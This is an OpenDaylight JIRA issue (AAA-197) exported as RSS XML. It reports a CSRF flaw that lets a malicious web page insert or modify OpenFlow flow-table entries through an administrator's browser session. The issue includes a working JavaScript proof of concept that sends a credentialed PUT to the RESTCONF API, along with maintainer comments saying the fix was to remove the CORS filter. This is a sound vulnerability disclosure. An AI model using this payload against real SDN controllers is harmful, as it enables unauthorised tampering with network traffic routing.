<!-- 
RSS generated by JIRA (8.20.10#820010-sha1:ace47f9899e9ee25d7157d59aa17ab06aee30d3d) at Wed Feb 07 19:08:53 UTC 2024

It is possible to restrict the fields that are returned in this document by specifying the 'field' parameter in your request.
For example, to request only the issue key and summary append 'field=key&field=summary' to the URL of your request.
-->
<rss version="0.92" >
<channel>
    <title>OpenDaylight JIRA</title>
    <link>https://jira.opendaylight.org</link>
    <description>This file is an XML representation of an issue</description>
    <language>en-us</language>    <build-info>
        <version>8.20.10</version>
        <build-number>820010</build-number>
        <build-date>22-06-2022</build-date>
    </build-info>


<item>
            <title>[AAA-197] [CSRF] Attacker can insert or modify the entry of flow table</title>
                <link>https://jira.opendaylight.org/browse/AAA-197</link>
                <project id="10102" key="AAA">aaa</project>
                    <description>&lt;p&gt;&lt;b&gt;Brief of this vulnerability&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;Attacker can insert or modify the entry of flow table. This attack was verified on Sodium-SR1. Although not tested in other versions, it is expected to be applicable.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Description&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;HI I found csrf bug on flow table inserting and modifying. It can be dangerous for admin. The victim admin can insert the attacker&apos;s intended flow into the flow table.&lt;/p&gt;

&lt;p&gt;CSRF POC is below :&#160;&lt;/p&gt;
&lt;div class=&quot;code panel&quot; style=&quot;border-width: 1px;&quot;&gt;&lt;div class=&quot;codeContent panelContent&quot;&gt;
&lt;pre class=&quot;code-java&quot;&gt;
&amp;lt;meta charset=&lt;span class=&quot;code-quote&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&amp;gt;
&amp;lt;script&#160; src=&lt;span class=&quot;code-quote&quot;&gt;&quot;http:&lt;span class=&quot;code-comment&quot;&gt;//code.jquery.com/jquery-latest.min.js&quot;&lt;/span&gt;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&#160;
&amp;lt;script language =&lt;span class=&quot;code-quote&quot;&gt;&quot;javascript&quot;&lt;/span&gt; type = &lt;span class=&quot;code-quote&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt; &amp;gt;
&lt;span class=&quot;code-keyword&quot;&gt;var&lt;/span&gt; createCORSRequest = function(method, url) {
&#160; &lt;span class=&quot;code-keyword&quot;&gt;var&lt;/span&gt; xhr = &lt;span class=&quot;code-keyword&quot;&gt;new&lt;/span&gt; XMLHttpRequest();
&#160; &lt;span class=&quot;code-keyword&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;code-quote&quot;&gt;&quot;withCredentials&quot;&lt;/span&gt; in xhr) {
&#160; &#160; &lt;span class=&quot;code-comment&quot;&gt;// Most browsers.
&lt;/span&gt;&#160; &#160; xhr.open(method, url, &lt;span class=&quot;code-keyword&quot;&gt;true&lt;/span&gt;);
&#160; } &lt;span class=&quot;code-keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;code-keyword&quot;&gt;if&lt;/span&gt; (typeof XDomainRequest != &lt;span class=&quot;code-quote&quot;&gt;&quot;undefined&quot;&lt;/span&gt;) {
&#160; &#160; &lt;span class=&quot;code-comment&quot;&gt;// IE8 &amp;amp; IE9
&lt;/span&gt;&#160; &#160; xhr = &lt;span class=&quot;code-keyword&quot;&gt;new&lt;/span&gt; XDomainRequest();
&#160; &#160; xhr.open(method, url);
&#160; } &lt;span class=&quot;code-keyword&quot;&gt;else&lt;/span&gt; {
&#160; &#160; &lt;span class=&quot;code-comment&quot;&gt;// CORS not supported.
&lt;/span&gt;&#160; &#160; xhr = &lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;;
&#160; }
&#160; &lt;span class=&quot;code-keyword&quot;&gt;return&lt;/span&gt; xhr;
};
&#160;
&lt;span class=&quot;code-keyword&quot;&gt;var&lt;/span&gt; url = &lt;span class=&quot;code-quote&quot;&gt;&apos;http:&lt;span class=&quot;code-comment&quot;&gt;//127.0.0.1:8181/restconf/config/opendaylight-inventory:nodes/node/openflow:1/table/0/flow/1&apos;&lt;/span&gt;;
&lt;/span&gt;&lt;span class=&quot;code-keyword&quot;&gt;var&lt;/span&gt; method = &lt;span class=&quot;code-quote&quot;&gt;&apos;PUT&apos;&lt;/span&gt;;
&lt;span class=&quot;code-keyword&quot;&gt;var&lt;/span&gt; xhr = createCORSRequest(method, url);
&#160;
xhr.onload = function() {
&#160; &lt;span class=&quot;code-comment&quot;&gt;// Success code goes here.
&lt;/span&gt;};
&#160;
xhr.onerror = function() {
&#160; &lt;span class=&quot;code-comment&quot;&gt;// Error code goes here.
&lt;/span&gt;};
&#160;
xhr.setRequestHeader(&lt;span class=&quot;code-quote&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;, &lt;span class=&quot;code-quote&quot;&gt;&apos;application/xml&apos;&lt;/span&gt;)
xhr.withCredentials = &lt;span class=&quot;code-keyword&quot;&gt;true&lt;/span&gt;;
xhr.send(&lt;span class=&quot;code-quote&quot;&gt;&apos;&amp;lt;?xml version=&lt;span class=&quot;code-quote&quot;&gt;&quot;1.0&quot;&lt;/span&gt; encoding=&lt;span class=&quot;code-quote&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt; standalone=&lt;span class=&quot;code-quote&quot;&gt;&quot;no&quot;&lt;/span&gt;?&amp;gt;&amp;lt;flow xmlns=&lt;span class=&quot;code-quote&quot;&gt;&quot;urn:opendaylight:flow:inventory&quot;&lt;/span&gt;&amp;gt;&amp;lt;priority&amp;gt;4&amp;lt;/priority&amp;gt;&amp;lt;flow-name&amp;gt;asdfa&amp;lt;/flow-name&amp;gt;&amp;lt;match&amp;gt;&amp;lt;ethernet-match&amp;gt;&amp;lt;ethernet-type&amp;gt;&amp;lt;type&amp;gt;2048&amp;lt;/type&amp;gt;&amp;lt;/ethernet-type&amp;gt;&amp;lt;/ethernet-match&amp;gt;&amp;lt;ipv4-destination&amp;gt;10.0.0.1/24&amp;lt;/ipv4-destination&amp;gt;&amp;lt;/match&amp;gt;&amp;lt;id&amp;gt;1&amp;lt;/id&amp;gt;&amp;lt;table_id&amp;gt;0&amp;lt;/table_id&amp;gt;&amp;lt;instructions&amp;gt;&amp;lt;instruction&amp;gt;&amp;lt;order&amp;gt;0&amp;lt;/order&amp;gt;&amp;lt;apply-actions&amp;gt;&amp;lt;action&amp;gt;&amp;lt;order&amp;gt;0&amp;lt;/order&amp;gt;&amp;lt;dec-nw-ttl/&amp;gt;&amp;lt;/action&amp;gt;&amp;lt;/apply-actions&amp;gt;&amp;lt;/instruction&amp;gt;&amp;lt;/instructions&amp;gt;&amp;lt;/flow&amp;gt;&apos;&lt;/span&gt;);
&#160;
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This attack is an example because ODL itself is vulnerable to CSRF attacks.&lt;/p&gt;

&lt;p&gt;In fact, for any function that sets ODL controller using REST API, we can make arbitrary malicious settings using CSRF attack.&lt;/p&gt;

&lt;p&gt;If an administrator accesses an arbitrary web page created by an attacker, Floodlight can be configured with arbitrary settings&lt;/p&gt;

&lt;p&gt;&lt;b&gt;To Reproduce:&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;
	&lt;li&gt;Administrator&apos;s benign access&lt;/li&gt;
	&lt;li&gt;Administrator logged in to the dlux gui via the browser with admin account&lt;/li&gt;
	&lt;li&gt;Administrator accesses ODL controller using REST API in browser with admin account&lt;/li&gt;
&lt;/ol&gt;



&lt;ol&gt;
	&lt;li&gt;Administrator visits the malicious webpage&lt;/li&gt;
&lt;/ol&gt;


&lt;h4&gt;&lt;a name=&quot;Solution%3A&quot;&gt;&lt;/a&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;/h4&gt;
&lt;ul&gt;
	&lt;li&gt;Check CSRF tokens in all request.&lt;/li&gt;
&lt;/ul&gt;
</description>
                <environment>&lt;p&gt;&lt;b&gt;Browsers Verified In:&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;&lt;span class=&quot;error&quot;&gt;&amp;#91;Firefox 71.0&amp;#93;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&#160;&lt;/p&gt;</environment>
        <key id="32458">AAA-197</key>
            <summary>[CSRF] Attacker can insert or modify the entry of flow table</summary>
                <type id="10104" iconUrl="https://jira.opendaylight.org/secure/viewavatar?size=xsmall&amp;avatarId=10303&amp;avatarType=issuetype">Bug</type>
                                            <priority id="2" iconUrl="https://jira.opendaylight.org/images/icons/priorities/critical.svg">High</priority>
                        <status id="5" iconUrl="https://jira.opendaylight.org/images/icons/statuses/resolved.png" description="A resolution has been taken, and it is awaiting verification by reporter. From here issues are either reopened, or are closed.">Resolved</status>
                    <statusCategory id="3" key="done" colorName="green"/>
                                    <resolution id="10002">Duplicate</resolution>
                                        <assignee username="rovarga">Robert Varga</assignee>
                                    <reporter username="seongil-wi">Seongil Wi</reporter>
                        <labels>
                    </labels>
                <created>Fri, 6 Mar 2020 05:53:52 +0000</created>
                <updated>Wed, 6 Jul 2022 11:58:02 +0000</updated>
                            <resolved>Wed, 6 Jul 2022 11:58:02 +0000</resolved>
                                    <version>Sodium SR1</version>
                                    <fixVersion>0.16.0</fixVersion>
                                    <component>General</component>
                        <due></due>
                            <votes>0</votes>
                                    <watches>3</watches>
                                    <workratio workratioPercent="0"/>
                                    <progress percentage="0">
                                    <originalProgress>
                                                    <row percentage="100" backgroundColor="#89afd7"/>
                                            </originalProgress>
                                                    <currentProgress>
                                                    <row percentage="0" backgroundColor="#51a825"/>
                                                    <row percentage="100" backgroundColor="#ec8e00"/>
                                            </currentProgress>
                            </progress>
                                    <aggregateprogress percentage="0">
                                    <originalProgress>
                                                    <row percentage="100" backgroundColor="#89afd7"/>
                                            </originalProgress>
                                                    <currentProgress>
                                                    <row percentage="0" backgroundColor="#51a825"/>
                                                    <row percentage="100" backgroundColor="#ec8e00"/>
                                            </currentProgress>
                            </aggregateprogress>
                                    <timeoriginalestimate seconds="14400">4 hours</timeoriginalestimate>
                            <timeestimate seconds="14400">4 hours</timeestimate>
                                        <comments>
                            <comment id="68046" author="rovarga" created="Thu, 23 Apr 2020 13:09:04 +0000"  >&lt;p&gt;I think it is AAA&apos;s job to secure the HTTP endpoints. Unfortunately I do not remember the details anymore &lt;img class=&quot;emoticon&quot; src=&quot;https://jira.opendaylight.org/images/icons/emoticons/sad.png&quot; height=&quot;16&quot; width=&quot;16&quot; align=&quot;absmiddle&quot; alt=&quot;&quot; border=&quot;0&quot;/&gt;&lt;/p&gt;</comment>
                            <comment id="68047" author="rovarga" created="Thu, 23 Apr 2020 13:21:20 +0000"  >&lt;p&gt;So if I am reading this correctly, the problem is the CORS filter configuration dating back all the way back to &lt;a href=&quot;https://git.opendaylight.org/gerrit/c/aaa/+/12533&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/c/aaa/+/12533&lt;/a&gt; ... now the next step is to understand the threat model used in those things.&lt;/p&gt;</comment>
                            <comment id="70338" author="rovarga" created="Wed, 8 Dec 2021 23:38:13 +0000"  >&lt;p&gt;So here I think we need to tighten our policy, but let it still be configurable.&lt;/p&gt;

&lt;p&gt;The CORS filter was added to allow easy embedding of RESTCONF requests into portals &#8211; which I do not think is being used anymore.&lt;/p&gt;</comment>
                            <comment id="71306" author="rovarga" created="Wed, 6 Jul 2022 11:58:02 +0000"  >&lt;p&gt;Fixed by removing CORS filter in &lt;a href=&quot;https://jira.opendaylight.org/browse/AAA-213&quot; title=&quot;Remove CORS filter from shiro-impl&quot; class=&quot;issue-link&quot; data-issue-key=&quot;AAA-213&quot;&gt;&lt;del&gt;AAA-213&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;</comment>
                    </comments>
                <issuelinks>
                            <issuelinktype id="10002">
                    <name>Duplicate</name>
                                            <outwardlinks description="duplicates">
                                        <issuelink>
            <issuekey id="34040">AAA-213</issuekey>
        </issuelink>
                            </outwardlinks>
                                                        </issuelinktype>
                    </issuelinks>
                <attachments>
                            <attachment id="15604" name="&#4361;&#4467;&#4367;&#4467;&#4357;&#4469;&#4523;&#4361;&#4451;&#4538; 2020-03-06 &#4363;&#4457;&#4370;&#4462; 2.44.48.png" size="3055834" author="seongil-wi" created="Fri, 6 Mar 2020 05:47:37 +0000"/>
                    </attachments>
                <subtasks>
                    </subtasks>
                <customfields>
                                                                            <customfield id="customfield_11400" key="com.atlassian.jira.plugins.jira-development-integration-plugin:devsummary">
                        <customfieldname>Development</customfieldname>
                        <customfieldvalues>
                            
                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <customfield id="customfield_10000" key="com.pyxis.greenhopper.jira:gh-lexo-rank">
                        <customfieldname>Rank</customfieldname>
                        <customfieldvalues>
                            <customfieldvalue>0|hzzzxz:</customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                </customfields>
    </item>
</channel>
</rss>